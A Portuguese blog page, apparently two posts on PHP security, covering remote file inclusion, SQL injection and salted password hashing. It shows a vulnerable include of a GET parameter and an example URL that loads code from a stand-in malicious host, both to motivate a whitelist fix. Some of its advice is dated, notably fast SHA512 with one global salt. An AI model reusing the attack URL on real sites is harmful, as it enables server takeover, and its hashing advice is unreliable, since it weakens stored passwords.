A visualizar apenas posts com a tag segurança

Os programadores de PHP têm má fama pelos erros que fizeram no passado. Até eu já programei de forma incorrecta. Mas o PHP 4 está morto e enterrado e o PHP 5.2 já lá vai.

Está na altura de mudarmos os nossos métodos e programarmos PHP com segurança em mente.

Segurança em PHP

Já partilhei anteriormente umas dicas para tornar o nosso código devidamente formatado a pensar no futuro, agora partilho algumas dicas de segurança.

Com a quantidade de código que me passa pelas mãos e pelo contacto com alguns “programadores” o que percebo é que a segurança é da responsabilidade do servidor e nunca do programador. Uma firewall serve para bloquear IP’s e portas e o Mod Security é uma solução de último recurso e não deve ser utilizada como método de protecção.

O servidor onde possuem o vosso código é vosso? Têm controle sobre a sua configuração ou estão dependentes de um ISP num alojamento partilhado?

Quem programa à espera que um servidor seja seguro facilmente é atacado, especialmente quando não têm conhecimento das configurações e alterações efectuadas.

Exemplo de injecção de código

Ora, vamos supor que eu tenho um site com o seguinte código:

1
2
3
<?php
  include $_GET['pagina'] . '.php';
?>

Tudo muito inocente. Se eu aceder a site.com/index.php?pagina=contacto vou incluir o ficheiro contacto.php. Mas se o servidor onde me encontro tiver a opção allow_url_fopen activa isto é uma porta aberta a ataques.

Basta aceder a site.com/index.php?pagina=http://www.sitemalicioso.com/hack.php? e o vosso site está agora a correr o meu código e eu fiquei com acesso ao servidor.

Podem dizer que o allow_url_fopen é perigoso e devia ser desactivado, mas falham completamente o ponto. O código não é seguro.

A solução passa por criar uma whitelist com os nomes dos ficheiros que permitimos que sejam incluídos (por exemplo num Array ou numa base de dados) e uma verificação através de um RegEx que apenas permita caracteres alfanuméricos. Podemos até usar um simples switch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
  // Definimos a página inicial
  $pagina = 'homepage';
    
  // Se existir um pedido $_GET['pagina'] verificamos a whitelist
  if ( isset($_GET['pagina']) ) {

    switch ($_GET['pagina']) {
      case 'contacto':
        $pagina = 'contacto';
        break;
      case 'quemsomos':
        $pagina = 'quemsomos';
        break;
    }
        
  }
    
  // Inclui o ficheiro
  include $pagina . '.php';
?>

Tudo o que é indicado pelo utilizador é perigoso

Todo o conteúdo submetido ao nosso script através de GET ou POST é e deve ser considerado perigoso. De boas intenções está o mundo cheio, já diz o provérbio, e com os utilizadores de um site aplica-se a mesma coisa.

Os ataques de injecção ao MySQL existem por isso mesmo, excesso de confiança. Lá apareceram funções para servirem como soluções rápidas, mas os programadores preguiçosos usaram isto como solução definitiva e deixam a segurança nas mãos de terceiros. Um bom exemplo é a opção magic_quotes que quando desactivada deixa um script aberto a injecções porque está mal programado.

Felizmente apareceu o mysql_real_escape_string que veio facilitar a vida a quem não sabe usar um addslashes e com o PDO então é uma maravilha fazer a validação de campos de forma rápida e eficiente.

Se controlamos tudo o que pode ser alterado pelo utilizador (inclusive links) é meio caminho andado para manter a nossa aplicação segura contra ataques comuns e worms ou trojans que se mantêm activos pela web à procura destas falhas.

Manter o nosso código seguro

Sempre que estamos a programar devemos perguntar a nós próprios: Um utilizador consegue alterar os dados aqui presentes? Será que este método é seguro?

E se vamos usar uma nova funcionalidade devemos procurar se existem possíveis falhas de segurança que possam advir da sua má utilização, os chamados pitfalls.

Não devemos também colocar uma solução online sem a tentar atacar primeiro. Como é que eu sei que um método de segurança funciona se não o tento ultrapassar?

E não pensem que isto serve apenas para utilizadores avançados porque não têm conhecimentos sobre este tema. Uma rápida pesquisa pelo Google vai encontrar milhões de exemplos de código seguro e funções para evitar ataques ao vosso código. Basta copiar alguns exemplos, testar localmente e adaptar às vossas necessidades e mesmo o manual do PHP vai ajudar nestas situações.

Ultimamente tem-se falado muito nos ataques a bases de dados e na divulgação de dados pessoais. Nenhuma aplicação é imune, mas será que pelo menos dificultam a vida aos hackers quando ficam com a vossa base de dados?

Segurança

Tem-me passado muito código pelas mãos que está mal executado, mas o que realmente me faz confusão são as palavra-passe em texto (plain-text) guardadas numa base de dados.

É engraçado abrir o phpMyAdmin e ver que a palavra-passe do admin é password123 em vez de 482c811da5d5b4bc6d497ffa98491e38 por exemplo.

E nós como utilizadores conseguimos saber se uma palavra-passe está a ser guardada localmente, basta fazer a recuperação de password e consultar se o texto devolvido é o mesmo que colocamos anteriormente.

Encriptação

Quando guardamos uma palavra-passe numa base de dados nunca guardamos a palavra-passe em si mas uma hash que corresponde à palavra-passe. Mas depois não sei a pass ou tenho que a decriptar pensam vocês. Nada disto é necessário.

Quando um utilizador se autentica no vosso website o que fazemos é encriptar o texto que o utilizador colocou e comparar a hash resultante com a hash que temos na nossa base de dados. Devemos usar uma hash que apenas permita a encriptação como o SHA512 ou o Whirlpool. O MD5 e o SHA1 não são aconselhados por serem rápidos a criar a hash, um computador pode resolver uma password com 6 caracteres numa questão de horas. Ao contrário de tudo o resto, ao criar uma hash quanto mais lento, melhor!

Desta forma se o vosso website for atacado e base de dados for obtida por um hacker ele apenas vai ter acesso a um monte de hash’s, mas isso não quer dizer que o nosso conteúdo esteja protegido.

Rainbow Tables e Salt

Existem listas, chamadas Rainbow Tables, de hash’s encriptadas que permitem efectuar uma pesquisa pela hash e obter o valor a que corresponde. Se numa Rainbow Table procurarmos por 482c811da5d5b4bc6d497ffa98491e38 possivelmente vamos obter o resultado password123.

Estas tabelas usam principalmente palavras comuns, disponíveis no dicionário e se não obrigamos os nossos utilizadores a colocar palavras-passe complexas estamos em risco. A maneira de resolver esta situação é aplicar Salt (Sal, literalmente).

Os utilizadores são preguiçosos e não ligam a segurança. Uma password para eles deve ser simples. É má prática, mas se não fazemos nada contra isso podemos criar mecanismos de protecção. Um deles, na encriptação de palavras-passe é a utilização de Salt.

Vamos supor que o utilizador tem password123 definida mas em vez de encriptarmos este valor adicionamos Salt ao inicio da password e encriptamos a password como fe#S7password123. A nossa hash vai ser totalmente diferente e uma Rainbow Table muito dificilmente terá este valor. O nosso Salt é então fe#S7 e devemos usar o mesmo quando o utilizador fizer a sua autenticação.

Espero que não seja necessário dizer isto, mas o Salt deve sempre ser guardado server-side, não coloquem o Salt num input de um formulário. Mas de qualquer forma aqui fica um exemplo:

1
2
3
4
5
<?php
  define( 'SALT', 'fe#S7' );
  $password = 'password123';
  $hash = hash( 'sha512', SALT . $password );
?>

O Salt está pré-definido no servidor, a variável $password é fornecida pelo utilizador e no final encriptamos ambos os valores para obter uma hash com Salt.

Isto já é consideravelmente seguro, mas podemos fazer melhor. No meu exemplo estou a usar um Salt pequeno, este deve ser maior. Podemos também aplicar mais Salt no meio de uma password ou no final para a tornar mais complexa. Também podemos alterar a hash retornada e aplicar também Salt nesse valor. Mas esta opção já é complexa e necessita de valores aleatórios para cada password, caso contrário ao olharmos para 5 hash’s facilmente verificamos qual é o Salt utilizado.

Encriptação online de palavras-chave

Fujam a sete pés de sites que criam hash’s online. Nem todos são maliciosos mas muitos usam os valores colocados pelos utilizadores para popular Rainbow Tables, criando um precedente para que a vossa palavra-passe seja insegura no caso de um ataque a um site onde estejam registados e seja usada a encriptação sem Salt.

Se querem testar hash’s devem sempre criar o vosso script e não ficar dependente de serviços de terceiros pois nunca sabemos o que é efectuado com os nossos dados.

Programar com segurança em mente

Espero que esta entrada no blog vos faça repensar como programam e guardam os dados dos utilizadores em base de dados.

Se programam mal e são atacados o problema é vosso, mas se dados de terceiros são perdidos por falta de atenção a estes detalhes então já estamos a por em causa a segurança dos outros.

Nota:
Foi usado como exemplo uma hash gerada em MD5 (482c811da5d5b4bc6d497ffa98491e38), apesar de advertir contra o uso deste algoritmo para encriptação de passwords. Este foi usado por gerar uma hash mais pequena que SHA512 (32 contra 128 caracteres), tornando a leitura do artigo mais amigável.
 
Copyright © 1985 - 2017 Eduardo Maio. Alguns direitos reservados.
eduardomaio.net - Às vezes mais valia ser Agricultor do que Programador
Ao navegar no blog eduardomaio.net está a concordar com os termos legais e de privacidade.